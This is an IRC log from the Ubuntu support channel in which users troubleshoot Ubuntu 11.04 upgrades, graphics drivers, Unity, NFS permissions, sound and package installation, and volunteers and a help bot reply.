[22:36] <kyubutsu> &official
[22:36] <yakubori> Deihmos: closed source driver maybe?
[22:36] <Jordan_U> Deihmos: Open "Additional Drivers".
[22:36] <tomatobros> kyubutsu, http://ftp.linux.org.tr/ubuntu-releases/6.06/
[22:36] <Doom_-_> i know but the file permission do not work
[22:36] <bsodmike> ikonia: this looks promising: http://stackoverflow.com/questions/187629/how-do-i-preserve-installed-applications-when-migrating-ubuntu-to-another-platfor
[22:37] <sycko> I have an odd problem. I have a Logitech illuminated keyboard, logitech g500 mouse, and logitech c310 webcam. All USB. When I use the webcam on 2.6.38-8-generic,  my keyboard will usually stop working after a few minutes, but the mouse and webcam still work fine. No errors in syslog or messages. Any ideas?
[22:37] <sammy> kyubutsu: I'm trying to run do-release-upgrade, not download a cd image. but good on you for suggesting the torrent as opposed to just downloading an iso directly
[22:37] <fr00g> I recently tried the Ubuntu 11.04 Live CD on my laptop, compiz worked fine (cube and everything), when I use compiz from my 11.04 installation on my hard drive it doesn't work, why not?
[22:37] <escott> natanielcz, http://paste.ubuntu.com/602011/
[22:37] <Doom_-_> ist there a chmod command or smething to get all permission on a files or someting those files does not appear in windows even when u got see all files
[22:37] <Deihmos> i thought ubuntu was fast. this is really slow
[22:37] <ikonia> bsodmike: I'm cautious of stackoverflow guides
[22:37] <JoseeAntonioR> Jordan_U There I can only find 6.06.1, not 6.06.2
[22:37] <Doom_-_> so thats why i wanted to make it from lnx
[22:37] <Guest12321> Hey, major problem. I think my upgrade to 11.04 was interrupted, and now ubuntu won't mount any of my file systems (says "disk drive for / is not ready, press S to skip, etc). A good sign however is that I can still see all my files from a liveUSB, so I know they still exist. Can anyone help me?
[22:37] <natanielcz> escott: thx so much :)
[22:37] <kyubutsu> tomatobros: relay to JoseeAntonioR
[22:37] <bsodmike> mmm
[22:38] <escott> Doom_-_, chmod 777
[22:38] <Doom_-_> thx
[22:38] <natanielcz> escott: i thought about unity session
[22:38] <Doom_-_> il try it
[22:38] <Jordan_U> sammy: Software sources has an option for automatically finding the nearest mirror. It's also possible to use bittorrent with apt, though more difficult :)
[22:38] <Jordan_U> sammy: s/nearest/fastest/
[22:38] <yakubori> Doom_-_: ls -l should show you current perms; chmod can change the
[22:38] <HyperShock> Guest12321: i was getting that earlier on my system, but instead of freaking out and hitting the suggested keys I waited and it mounted the / dir anyways. for me it told me i could wait so i did
[22:38] <yakubori> m
[22:38] <JoseeAntonioR> tomatobros There I can only find 6.06.1, and not 6.06.2
[22:38] <yakubori> *them
[22:38] <escott> natanielcz, http://paste.ubuntu.com/602012/ for unity session
[22:39] <funnylookinhat> Anyone here managed to get a radio stream to work with Banshee that has HTTP AUTH?  i.e. http://username:password@domain.com/stream
[22:39] <tomatobros> http://ftp.linux.org.tr/ubuntu-releases/6.06.2/
[22:39] <natanielcz> escoot: Yes. This is it ;) Thanks
[22:39] <sammy> Jordan_U: I wasn't running a gui but I can. I'll run that check for the fastest mirror and then try the update. very good suggestion, thanks. 'm still not sure what 'mirror file' its talking about is missing
[22:39] <tomatobros> but all server :S
[22:39] <Guest12321> HyperShock: Well, I waited a while, but nothing happened. I might wait longer and see
[22:39] <Jordan_U> sammy: You're welcome.
[22:39] <Omega> Doom_-_: What graphics card do you have?
[22:40] <JoseeAntonioR> tomatobros That's the problem, I want Desktop Edition ):
[22:40] <Omega> intel/nvidia?
[22:40] <Deihmos> is there a way to install the wireless drivers from the cd?
[22:40] <Deihmos> it is trying to download drivers instead
[22:40] <Ziber> Is there a way in ubuntu to set a keyboard shortcut to move to the next open application?
[22:40] <escott> Ziber, you mean alt-tab?
[22:40] <Guest12321> HyperShock: How long did you wait before it worked?
[22:40] <hell00> I have a question, using the Live CD, I can run Unity 3D properly, but from my hard drive, it doesn't work, why?
[22:41] <Ziber> escott: Well, I guess that does it. Thanks :)
[22:41] <HyperShock> Guest12321: also my upgrade was interrupted as well, mainly because i tinker, so the first instance was libpam, after much heartache i discovered that after I could get to shell like with the tty consoles (alt f1) a simple: sudo apt-get dist-upgrade --fix-broken ... solved everything, and ate 4 hours of my time more, but i got everything back.
[22:41] <yakubori> hell00: see if you've got additional graphics drivers available - closed source ones
[22:41] <HyperShock> Guest12321: about 30 to 40 seconds
[22:41] <ocx> hi, i have install ubuntu with basic setup now would like to add some packages located on the ubuntu DVD how can i do that from CLI ?
[22:41] <ocx> no gui access
[22:41] <hell00> yakubori, none are available
[22:41] <yakubori> hell00: odd
[22:42] <urlicht> I have two ubuntu machines on my home network. Is there a way to dist-upgrade one and then copy the new packages from that one to the other machine?
[22:42] <HyperShock> ocx: in your system settings for "sources" check off use the dvd section
[22:42] <hell00> yakubori, why would it work from CD but not from an installed version?
[22:42] <escott> ocx, i think you need to edit /etc/apt/sources.list
[22:42] <wishper> pori bigonci....it can happen....
[22:42] <ocx> what do i need to point it to?
[22:42] <ocx> sources.list
[22:42] <softturnip> Is there a way to change the time it takes for the unity dock to appear when I touch the left side of the screen? That second is just a bit too long for me. Upper left corner is better, but it's annoying to go there every time.
[22:42] <deadpulse> ocx, apt-get install, aptitude install
[22:42] <tolmun_> firefox 4 is not listed after sudo add-apt-repository ppa:mozillateam/firefox-stable
[22:43] <Polah> How can I stop Filezilla appending a ~ to filenames when I edit them? For example, when I edit home.php, when it re-uploads it I end up with home.php and home.php~. The file with ~ on the end only appears in the Filezilla file list
[22:43] <ocx> sources.list need to point to my dvd rom
[22:43] <yakubori> hell00: got me - mine was a little messed up but i just had to enable the proprietary drivers...
[22:43] <takamoron> ultrixx: /var/cache/apt/
[22:43] <sycko> I have an odd problem. I have a Logitech illuminated keyboard, logitech g500 mouse, and logitech c310 webcam. All USB. When I use the webcam on 2.6.38-8-generic,  my keyboard will usually stop working after a few minutes, but the mouse and webcam still work fine. No errors in syslog or messages. Any ideas?
[22:43] <johnny77> I'm having major issues with 11.04. If I log into Ubuntu, I get only a background, no panels. If I log into Ubuntu Classic, it appears that a Window Manager is not loaded. Any ideas?
[22:43] <escott> urlicht, yes copy the files from /var/cached/apt/archive to save the downloading
[22:43] <Doom_-_> omega i got asus engtx 260
[22:43] <ultrixx> takamoron: wrong person?
[22:43] <deadpulse> ocx, apt-cdrom add
[22:43] <HyperShock> softturnip: try holding down the super key (win key) and see if that delay is too long for you too
[22:43] <urlicht> escott: sweet, thanks!
[22:43] <tolmun_> funny with ascii-art aquarium =)
[22:44] <Pudabudigada> Hello, I just upgraded to 11.04, and now I can't play music.
[22:44] <Pudabudigada> It is extremely juddery.
[22:44] <Pudabudigada> Other sound, like youtube, works fine though.
[22:44] <softturnip> HyperShock, yeah. that's a good idea. thanks! But is there a setting somewhere to change the delay manually?
[22:44] <yakubori> hell00: run lspci |grep -i vga to see your card, might be missing a module
[22:45] <HyperShock> softturnip: lol, i'm like you waiting for someone to say how to tweak the unity launcher
[22:45] <deadpulse> Pudabudigada, can you play any sound at all?
[22:45] <deadpulse> maybe a codec problem?
[22:45] <HyperShock> !unity | HyperShock & softturnip
[22:45] <ubottu> HyperShock & softturnip: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[22:45] <Pudabudigada> deadpulse, Youtube works.
[22:45] <Deihmos> does the new interface have hardware acceleration? it is really slow
[22:46] <malik_> hi
[22:46] <hell00> ok
[22:46] <LjL> Deihmos: it is slow *because* it needs hardware acceleration ;)
[22:46] <hell00> yakubori, um, 00:02.0 VGA compatible controller: Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller (rev 07)
[22:46] <blackbit> HyperShock, try http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[22:46] <ocx> make install is giving me "compiler not found Makefile:124"
[22:46] <malik_> i want a linux command inside a bash script to be run in background. How to do this ? is it sufficient to put an & at the end ?
[22:46] <Deihmos> so at the moment there is no hardware acceleration?
[22:47] <deadpulse> Pudabudigada, it looks like a codec problem, what do you use to play music? did you try another app for it?
[22:47] <Pudabudigada> I've tried VLC and Mplayer
[22:47] <Pudabudigada> It worked flawlessly in 10.10
[22:47] <kyo> Dudes, I have a problem with ubuntu 11.04. I am not using unity, but when I want to play something in fullscreen a big number 2 appears. I tried to disable in System>Preferences>Ati catalyst control center
[22:47] <ocx> sudo apt-cdrom add install build-essential
[22:47] <deadpulse> ocx, and do you the necessary compiler for it?
[22:47] <ocx> not working too
[22:47] <ocx> how can i know which compiler is that?
[22:47] <deadpulse> Pudabudigada, and vlc didn't work?
[22:47] <LjL> Deihmos: yes there is, but how well it works depends on your card
[22:47] <Pudabudigada> deadpulse, No.
[22:48] <tesseracter_> i upgraded to 11.04, but the updater said it could not update my grub2 config. most likely this is because of my software raid setup(boot RAID1, everything else RAID 0) anyone have advice where to look about this?
[22:48] <HyperShock> blackbit: thank you
[22:48] <wzssyqa> !gnome3
[22:48] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[22:48] <yakubori> hell00: google ubuntu and that card and see what you need... but intergrated intel graphics tend to be crappy, imho
[22:48] <LjL> Deihmos: if you find it unacceptably slow, you can try installing the package "unity-2d" which will get rid of the graphical effects but be faster
[22:48] <malik_> i want a linux command inside a bash script to be run in background. How to do this ? is it sufficient to put an & at the end ?
[22:48] <Deihmos> notebook has an ati card. windows is really smooth with it
[22:48] <deadpulse> ocx, do only  "$sudo apt-cdrom add"
[22:48] <bsodmike> ikonia: it's a bug? http://markmail.org/message/lxdnl77y27z6olqp
[22:48] <escott> malik_, i think so try #bash if you have concerns
[22:48] <wzssyqa> !gnome3-team
[22:48] <yakubori> malik_: should be
[22:49] <blackbit> malik: i tried that and and worked
[22:49] <ikonia> bsodmike: I don't think it's a bug, I think it's due to your restore messing it up
[22:49] <fisch246> how do you upgrade to 10.10 on Ubuntu server?
[22:49] <deadpulse> Pudabudigada, if you try mplayer file.mp3 on a terminal whats the output?
[22:49] <blackbit> I tried "top &". It went background
[22:49] <Superstar> Does anyone know why compiz uses CPU anytime you move the mouse?
[22:49] <ocx> deadpulse: that is giving me found 2 packages indexes and then it is exiting
[22:50] <ikonia> bsodmike: I'm thinking clear the cache file down and the bin file - re-run sudo apt-get update to get the current list, then install the missing packages then mysql-server package
[22:50] <fisch246> o btw i'm using Ubuntu Server 10.04
[22:50] <ikonia> even if it thinks somethings there - reinstall it so the dependency tree is up to date
[22:50] <bsodmike> ikonia: hmm
[22:50] <bsodmike> the first step what must I do
[22:50] <bsodmike> cache and bin that is
[22:50] <Pudabudigada> deadpulse, 'file' being the path to an actual mp3 file?
[22:50] <ikonia> bsodmike: there is a better way to do this, but I can't remember it
[22:50] <bsodmike> I'm ready to try this... :)
[22:50] <deadpulse> Pudabudigada, yes
[22:51] <ikonia> bsodmike: it's awkward not having a box to work it through with you, so I'm running from memory
[22:51] <bsodmike> np
[22:51] <ikonia> bsodmike: can you pastebin ls -la /var/apt/cache please
[22:51] <Deihmos> this is weird. wireless worked with the live cd but now i instaled and cannot get wireless working. tried enabling the drivers and got an error
[22:51] <wishper> si si e poi dicono in giro che ubuntu è da lamer senza backtrack
[22:51] <psalden> hey folks... unity is supposed to work with fglrx isn' it?
[22:51] <mongy> Installed natty and am having trouble with networking using interfaces file.  I am using the exact same interfaces file that I use in 10.10, so my wireless connection is there when my desktop appears and I dont have to wait for network-manager to wake up.. well its not happening in natty, I have to ifdown/ifup the interface for it to work. what gives?
[22:52] <ikonia> psalden: if you card works with fglrx it will
[22:52] <deadpulse> ocx, ok so if the dvd is there it got added to the source list. Try installing whatever you want and if its in the dvd it'll get installed
[22:52] <bsodmike> can  I pm you?
[22:52] <wishper> sudo apt-get install irbudello
[22:52] <bsodmike> keeping up is crazy
[22:52] <psalden> ikonia: ok just checking... it uses fallback with fglrx here now, so then at least I know I'm doing it wrong tm :p
[22:52] <ikonia> bsodmike: sure
[22:52] <LjL> !it | wishper
[22:52] <ubottu> wishper: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[22:52] <paranoidphreak> hi everybody, i have successfully setup NFS server and client but only root has 'rwx' and the other groups have only 'rx' but i want everyone to has 'rwx' access; how can i do that? thnx
[22:52] <ocx> deadpulse: getting an error now when doing "sudo apt-get install build-essential"
[22:52] <wishper> cd ..
[22:52] <Jordan_U> mongy: You can make network-manager connections start at boot by setting them as "available to all users" and connect automatically.
[22:53] <ocx> unable to fetch some archives\
[22:53] <lykkefeen> How do I set the icon sizes for unity-2D?
[22:53] <wishper> seeee ma fai caa
[22:53] <mongy> hmmmmm
[22:53] <blackbit> lykkefeen, this is a good question
[22:53] <LjL> wishper: what are you trying to tell us? this channel is english-only
[22:53] <kyubutsu> JoseeAntonioR: torrent.ubuntu.com:6969 contains a 6.06 desktop download link
[22:54] <JoseeAntonioR> kyubutsu But it is 6.06.1, and I want 6.06.2
[22:54] <psalden> can I somehow check what driver is actually being used?
[22:54] <LjL> wishper: #ubuntu-it
[22:54] <wishper> i'm very bored XD
[22:55] <Guest7041> !offtopic | wishper
[22:55] <ubottu> wishper: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[22:55] <cached> kyubutsu: kyuubi42?
[22:55] <lykkefeen> blackbit: I tried to google around and it seems like that changing the icon size in Unity-2D involves some programming, but I can't really get it working. It is such a shame as Unity2D rocks without bugs and bad performance.
[22:55] <kyubutsu> cached: inquiry does not compute
[22:56] <macs> its amazing that my vps is not using 78mb ram just by stopping apache2
[22:56] <das> hey guys
[22:56] <blackbit> lykkefeen, I am actually finding unity-3d more stable :) not sure if statistically relevant, but I have a few glitches on the unity-2d and I stil hadn't in unity-3d
[22:57] <kneaux> Can anybody help me troubleshoot my dual-monitor setup?
[22:57] <blackbit> lykkefeen, homewer, I am sticking to unity-2d because I use BOINC and the GPU for scientific computing, so having an hardware-accelerated desktop is unpratical
[22:57] <Toph> normally, ubuntu has a panel across the bottom or the desktop, displaying the programs running. I have lost that. Any ideas on how to restore it?
[22:57] <lykkefeen> blackbit: which graphics drivers are you using? Im on Nvidia.
[22:57] <paranoidphreak> here's is the line i added in the /etc/exports file: /home  192.168.1.124(rw) and when i try to connect to it using the client, only root has access to rw but other groups have rx; how do i make everyone have 777 access like in 'chmod 777 filename'
[22:57] <LjL> Toph: on Natty with Unity, or previous version?
[22:58] <macs> anyone know of an httpd that uses low ram?
[22:58] <blackbit> lykkefeen, Nvidia 270's on a Fermi GT430, but most of glitches occur while using flash player with firefox
[22:58] <tecnical> hallo
[22:58] <acicula> do you want something that serves pages or one that integrates rendering java,php or we?
[22:58] <Toph> LjL,,, i'm running Natty, but can't get Unity running, so just with Classic desktop
[22:58] <madsailor> kneaux, if you state your specific problem, if someone can help, they will
[22:58] <sulfo> macs: apache is not serving you well :)?
[22:58] <LjL> !resetpanels | Toph
[22:58] <ubottu> Toph: To reset the GNOME panel to defaults, type this in a !terminal: « gconftool --recursive-unset /apps/panel && killall gnome-panel »
[22:58] <tecnical> ???
[22:59] <macs> sulfo yes
[22:59] <kneaux> (I have...)
[22:59] <kneaux> "The selected configuration for displays could not be applied / required virtual size does not fit available size: requested=(2560,841), minimum=(320,200), maximum=(1440,1440)"
[22:59] <macs> i stopped it and my vps is using 78mb ram
[22:59] <kneaux> happens when I try to turn off mirror screens
[22:59] <Omega> Doom_-_: Did flash work before?
[22:59] <kneaux> Error is new since upgrading from 10.04
[22:59] <lykkefeen> blackbit: My computer is a small laptop which does not like all the unity effects. If I had a proper desktop computer I might not be that bothered. But flash has always been crashing for me - is it worse with unity2d?
[23:00] <jstoone> Hi guys, I'm trying to "compile" my manpage with nroff, but because it's a project between my friend and I, we write in danish. The problem is that it does not like char's like æøå
[23:00] <Toph> ubottu,,, thanks,, that did it
[23:00] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[23:00] <acicula> macs you can try lighthttpd, but 78Mb used doesnt seem like a lot
[23:00] <macs> ok
[23:00] <mastaofdisasta> macs: thttpd is lightweight
[23:00] <sulfo> macs: i heard about webfsd. however you probably can't expect miracles :) what kind of content do you need to have on your page?
[23:00] <kneaux> jstoone - you might ask in #ubuntu-dk
[23:01] <ikonia> !info libc6 lucid
[23:01] <macs> sulfo wordpress
[23:01] <ubottu> libc6 (source: eglibc): Embedded GNU C Library: Shared libraries. In component main, is required. Version 2.11.1-0ubuntu7.8 (lucid), package size 3691 kB, installed size 9360 kB
[23:01] <blackbit> lykkefeen: Not sure if its an unity-2d issue, because too many variables changed:  Firefox version, Ubuntu version, even the Flash version: I still have the default plugin, I am not sure its the nonfree one. As you can see, I am not a statistically relevant case, but I am loving Unity...
[23:01] <jstoone> kneaux: Oh, I didn't know there was no such channel ;) thanks
[23:01] <Xgates> is 64bit ok on 64cpu or better to use 32bit for better app compatibility?
[23:02] <kneaux> jstoone, det var saa ligt
[23:02] <macs> well i tryed nginx and its only using 2 mbs
[23:03] <ikonia> !info libacl1 lucid
[23:03] <ubottu> libacl1 (source: acl): Access control list shared library. In component main, is required. Version 2.2.49-2 (lucid), package size 26 kB, installed size 92 kB
[23:03] <Xgates> is 64bit ok on 64cpu or better to use 32bit for better app compatibility?
[23:03] <david8732> Depends on what you wanna do.
[23:03] <escott> Xgates, hard to answer... what 32bit apps are you concerned about
[23:03] <fisch246> found my issue
[23:03] <Toph> LjL,,, sorry,, i just realized how you answered my question,,, thanks
[23:03] <fisch246> solution is found here: http://www.ubuntu.com/download/ubuntu/upgrade
[23:03] <sulfo> macs: http://en.wikipedia.org/wiki/Comparison_of_web_server_software - i guess all the GPL tagged might be of use ;)
[23:04] <flack-Z> !list
[23:04] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[23:04] <macs> ok
[23:04] <Xgates> let's just talk in general terms for any and all situations....
[23:04] <david8732> @xgates The biggest problem was browsers when 64-bit first came out.
[23:04] <david8732> Plugins werent compatible with the 64-bit versions
[23:04] <Xgates> yes I know
[23:04] <david8732> but that's barely an issue now
[23:05] <Xgates> so overall is 64bit pretty safe to use?
[23:05] <david8732> yup
[23:05] <escott> Xgates, it basically comes down to flash and there are more issues with flash and compiz than with flash and 64bit it would seem
[23:05] <david8732> It's got a slight performance advantage
[23:05] <Xgates> not going to use compiz but 64bit flash working?
[23:05] <DJones> Xgates: I moved over to 64 bit about a month ago, I haven't noticed any issues with software not working
[23:05] <dr3mro> i am releaseing this app for ubuntu plz check my code and give me advice?
[23:05] <dr3mro> i am releaseing this app for ubuntu plz check my code and give me advice? http://paste.ubuntu.com/602019/
[23:05] <david8732> 64-bit flash was working pretty well last time I tried it. You can run the 32-bit version with a compatibility layer.
[23:06] <david8732> If anything acts up
[23:06] <kdwm> (close
[23:06] <chipmenk> my internet on this machine is fine but unable to share or browse network i get could not display "network:/// nautilus cannot handle net work connections
[23:07] <Xgates> ok thanks guys
[23:07] <kneaux> Does anyone know why I would be getting the error "maximum=(1440,1440)" when I try to turn on a second monitor?
[23:07] <escott> kneaux, nvidia or ati
[23:07] <jibadeeha> dr3mro, looked through your code and it looks absolutely fine
[23:07] <kneaux> ATI
[23:07] <kneaux> i tried it with and without fglrx
[23:07] <Julie972> cant join windows's seven folder on lan
[23:07] <david8732> maybe you dont have enough video ram for that resolution.
[23:07] <Dpena> When installing ubuntu, on a 30gb hard drive, how big should the Files part be, compared the the Ubuntu part?
[23:08] <escott> kneaux, what does xrandr say about your allowed geometries
[23:08] <kneaux> david8732, would that be the case with a new upgrade? This didn't happen in 10.04
[23:08] <Julie972> I'm on 11.04
[23:08] <chipmenk> kndeaux do you havecorrect linux drivers for that video..
[23:08] <david8732> @kneaux Only if you changed hardware. If you just upgraded, that would be bizarre
[23:08] <Toph> when i try to log in (11.04), it fails to log in to the desktop which includes Unity, so I'm restricted to Ubuntu Classic. However, in Classic, i can activate the sidebar of Unity from Compizconfiguration Settings Manager.. What is the problem?
[23:08] <Julie972> I cancrawl through my seven's folder
[23:08] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces? I tried sudo /etc/init.d/networking restart but it says it's deprecated.  I also tried "sudo service networking restart" but it says "restart: Unknown instance:"   can anyone help me shed some light on this? it seems to be a problem with upstart, but I know very little about upstart it's a new concept to me.
[23:09] <kneaux> david8732, now you understand my pain.
[23:09] <tyler00> any folks know if there is any software to download that email every time you have an ip change? so in case my laptop ever gets stolen.  or is writing a script the only option?
[23:09] <kneaux> escott, anything specific you want? First of all, it seems to think I have a CRT connected, which I don't, dunno if that's part of the problem or not
[23:09] <david8732> @kneaux, I would make sure the graphics driver being used is the right one...
[23:09] <david8732> !!!
[23:10] <david8732> @kneaux I had that happen
[23:10] <Dpena> When installing ubuntu, on a 30gb hard drive, how big should the Files part be, compared the the Ubuntu part?
[23:10] <david8732> @kneaux check the connection to your monitors. Maybe do a power-cycle on them
[23:10] <david8732> @kneaux and reconnect them. They might be detected incorrectly
[23:10] <kneaux> david8732, did that, and fglrx should work as well now as it did then
[23:10] <kneaux> although i actually haven't checked to make sure ati is installed
[23:10] <david8732> @kneaux damn. =/
[23:10] <DJones> tyler00: Not quite what you've asked about, but have you looked into the prey project http://preyproject.com/
[23:10] <kneaux> yeah :/
[23:10] <escott> kneaux, could very well be the source of trouble. xorg is getting better and detecting more automatically but that means it has more opportunities to detect it incorrectly
[23:10] <Jordan_U> Dpena: What do you mean by "files part"?
[23:10] <dr3mro> jibadeeha, i want to create a deb for  it or a ppa is there some sort of article explain how
[23:11] <tyler00> DJones, will do. thank you
[23:11] <david8732> @escott, yeah that's probably the case
[23:11] <kneaux> escott, should i write it into my xorg.conf? cos it's not there now.
[23:11] <paranoidphreak> here's is the line i added in the /etc/exports file: /home  192.168.1.124(rw) and when i try to connect to it using the client, only root has access to rw but other groups have rx; how do i make everyone have 777 access like in 'chmod 777 filename'
[23:11] <david8732> @kneaux try 'lsmod | grep flgrx' in the console
[23:11] <escott> kneaux, i would try and set it through xrandr, but if you cant you could force your modelines into xorg.conf
[23:11] <david8732> Ohh that.
[23:12] <kneaux> escott, (also, xrandr doesn't say /anything/ about minimum=320/240 or maximum=1440/1440, which is the error Montors is giving me)
[23:12] <escott> paranoidphreak, what is /etc/exports NFS?
[23:12] <tyler00> DJones, looks good and that will be sufficient. thank you :D
[23:12] <Dpena> I'm trying to install alongside Mac os x, and it's giving me two part that I can adjust the sizes of, one files, the other ubuntu.
[23:12] <kneaux> fglrx                2739144  130
[23:12] <luigi_panache> Is it just me or is compiz much slower under 11.04 with an ATI card?
[23:12] <mastaofdisasta> how do I restart network configuration in 11.04 after making changes to /etc/network/interfaces? I tried sudo /etc/init.d/networking restart but it says it's deprecated.  I also tried "sudo service networking restart" but it says "restart: Unknown instance:"   can anyone help me shed some light on this? it seems to be a problem with upstart, but I know very little about upstart it's a new concept to me.
[23:12] <escott> kneaux, so its guessing at bad modes from the display can you force a good mode with xrandr?
[23:13] <ikonia> mastaofdisasta: it's a problem with your network config, not upstart
[23:13] <kneaux> escott, i don't know how, reading the help now but i've never used it before, so
[23:13] <ikonia> mastaofdisasta: you shouldn't need to use /etc/network/interfaces, use the network admin tool from the gui
[23:13] <escott> Dpena, is this inside a virtual machine or is this dual boot
[23:13] <genitor> hi guys
[23:13] <Jordan_U> Dpena: That's up to you and how much space you want to leave for files you keep in Ubuntu vs files you keep in OSX. 10 GiB is more than enough for Ubuntu, but you may run out of room for your own files.
[23:14] <Guest8699> mastaofdisasta, start and stop instead of restart?
[23:14] <Dpena> Ok, thanks.
[23:14] <Jordan_U> Dpena: You're welcome.
[23:14] <Pudabudigada> Can anyone else help me with my sound problem, it won't play smoothly, seemingly in anything.
[23:14] <openbees> unity panel and application launcher disappeared after installing CCSM
[23:14] <sycko> Has anyone had problems when using a webcam? My USB keyboard will stop working when I use my webcam but the USB mouse works fine.
[23:15] <genitor> I am in need of some assistance: upgraded to 11.04 the other day and everything worked fine. Just today when I log in I can only see the desktop background but no panels. How do I fix this?
[23:15] <escott> sycko, have you tried plugging into different usb ports
[23:15] <chipmenk> what is good local network file sharing program? windows adn linux boxes
[23:15] <openbees> genitor : same problem with me too
[23:15] <genitor> do you have any idea openbees?
[23:15] <sycko> escott, yes. All 3 in same USB and different USB busses.
[23:16] <Pudabudigada> Can anyone else help me with my sound problem, it won't play smoothly, seemingly in anything.
[23:16] <escott> sycko, after the keyboard stops responding is it still listed in lsusb or was it removed
[23:16] <paranoidphreak> escott: do you mean what i wrote in that file? if so, this is what is wrote in that file: /home  192.168.1.124(rw)
[23:16] <escott> !samba | chipmenk
[23:16] <ubottu> chipmenk: Samba is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and https://help.ubuntu.com/10.04/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT.
[23:17] <escott> paranoidphreak, i dont know what that file is for
[23:17] <kneaux> escott, david8732, the second monitor is set to 1280/800 (max is higher) and mirror screens is on, but when I turn off mirror screens I get the error about exceeding 1440/1440. The only thing I can come up with is it thinks there's a maximum width for both screens combined, or is treating them as one screen when they're separate displays, or something of that nature. Why, I have no idea.
[23:17] <openbees> genitor : unfortunately  ..no idea....i just switched to ubuntu classic session
[23:17] <kneaux> I also don't know why it's being identified as CRT1
[23:17] <kyubutsu> genitor: maybe resetting the panels would help. do so with:  gconftool --recursive-unset /apps/panel && killall gnome-panel
[23:17] <sycko> escott, I believe it was still listed in lsusb. It completely freezes up and the only way i can get to work again is to reboot. Ive tailed all the logs I could think of to see if anything errored and found nothing.
[23:18] <kyubutsu> genitor: type that into a terminal
[23:18] <zeleftikam> New 10.10 install on Gigabyte GA-G31M-ES2L with Realtek audio. No sound. Tried installing Linux drivers from Realtek; rebooted. No sound. Help?
[23:18] <mastaofdisasta> ikonia: I'm used /etc/network/interfaces.... the GUI tool is gay
[23:18] <JoshDreamland> I've just named 11.04 the Windows ME of Ubuntu! *confetti* *trolololol*
[23:18] <escott> sycko, you seem to have covered the bases... sounds like a usb isue
[23:18] <ikonia> mastaofdisasta: 1.) don't use the phrase gay 2.) you clearly can't configure network interfaces file so you should use the gui
[23:19] <kyubutsu> genitor: or, copy and paste it to minimize errors
[23:19] <escott> kneaux, when you turn off mirror screens any change in what xrandr reports
[23:19] <ikonia> JoshDreamland: if that's all you've got to say, please don't speak, this is for support discussion
[23:19] <sycko> escott, It use to work fine on an earlier version of the kernel (wish I remembered which version it was). I think updating caused the problem.
[23:20] <genitor> kyubutsu: I did what you said but I got "gnome-panel: no process found"
[23:20] <openbees> kyubutsu: even alt-f2 not working so how can i launch gconftool...would u please suggest me
[23:20] <Omega> !ot | JoshDreamland
[23:20] <ubottu> JoshDreamland: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:20] <escott> sycko, you could try booting the older kernel if you still have it as an option
[23:20] <paranoidphreak> escott: /etc/exports......this is where you edit what folders and files you want to share, to whom and what writes and options
[23:20] <genitor> openbees: I used strg+alt+f1
[23:20] <paranoidphreak> escott:
[23:20] <genitor> because alt+f2 won't work either
[23:20] <Omega> JoshDreamland: If you continue, I will have to call a operator.
[23:20] <escott> paranoidphreak, is that samba? or NFS?
[23:20] <acicula> zeleftikam, best to remove those drivers you installed
[23:20] <Omega> an*
[23:20] <LjL> Omega: they are already watching and have warned them
[23:20] <openbees> genitor : what is strg ?
[23:20] <paranoidphreak> escott: NFS
[23:21] <sycko> escott, By the time I realized it stopped working, I could only go 1 version back and it still didnt work. I suppose something else could have been updated at the same time I did the kernel update that may have also been the culprit.
[23:21] <ikonia> JoshDreamland: he's already been told - drop it
[23:21] <zeleftikam> acicula: ?
[23:21] <genitor> sorry, ctrl :)
[23:21] <ikonia> JoshDreamland: sorry, not you
[23:21] <Omega> LjL: Very well :)
[23:21] <hiexpo> hola
[23:21] <abadadon> does the ubuntu CD (~700 MB) contain ALL the programs I can install via the Ubuntu Software Center to the point where I don't need internet access as long as I have the CD with me?
[23:21] <LjL> abadadon: uh, no
[23:21] <acicula> zeleftikam,  you installed drivers from the realtek site right
[23:21] <zeleftikam> acicula: yes
[23:21] <hiexpo> abadadon, no
[23:21] <LjL> abadadon: there are about 30000 packages, last time i checked anyway, in the ubuntu repositories. there's no way a CD could contain them all.
[23:22] <openbees> abadadon : NO
[23:22] <abadadon> ok! :) thanks
[23:22] <ScreenIssues> Is it possible to install natty with the 2.6.35 kernel and still use unity?
[23:22] <Chipzzz> sycko: is the webcam plugged into a hub?
[23:22] <escott> paranoidphreak, and you have matching uid's from server to client?
[23:22] <acicula> zeleftikam, is there some tutorial specific for your hardware that you are following that suggested that?
[23:22] <abadadon> LjL: is there a way to download them all or would that be a bandwidth nightmare?
[23:22] <sycko> Chipzzz, No. Everything is directly to the MB. I've also tried to move things to different groups on the MB to see if that was causing the issue.
[23:22] <CoachJ> how do I change the screen resolution
[23:23] <acicula> CoachJ, System->preferences->display
[23:23] <acicula> or monitors
[23:23] <LjL> abadadon: let me see if i can tell you how many GB is it
[23:23] <hiexpo> ScreenIssues, try itand if not you can always go back to your current kernal as long as you don't remove it
[23:23] <zeleftikam> acicula: some thing linked from google. i have no idea how to remove the Realtek drivers. I ran an install script it included that installed about a billion things, and there doesn't appear to be a removal script included. suggestions?
[23:23] <ikonia> LjL: 12 per arch I believe
[23:23] <ScreenIssues> hiexpo: Better question, how do I do it?
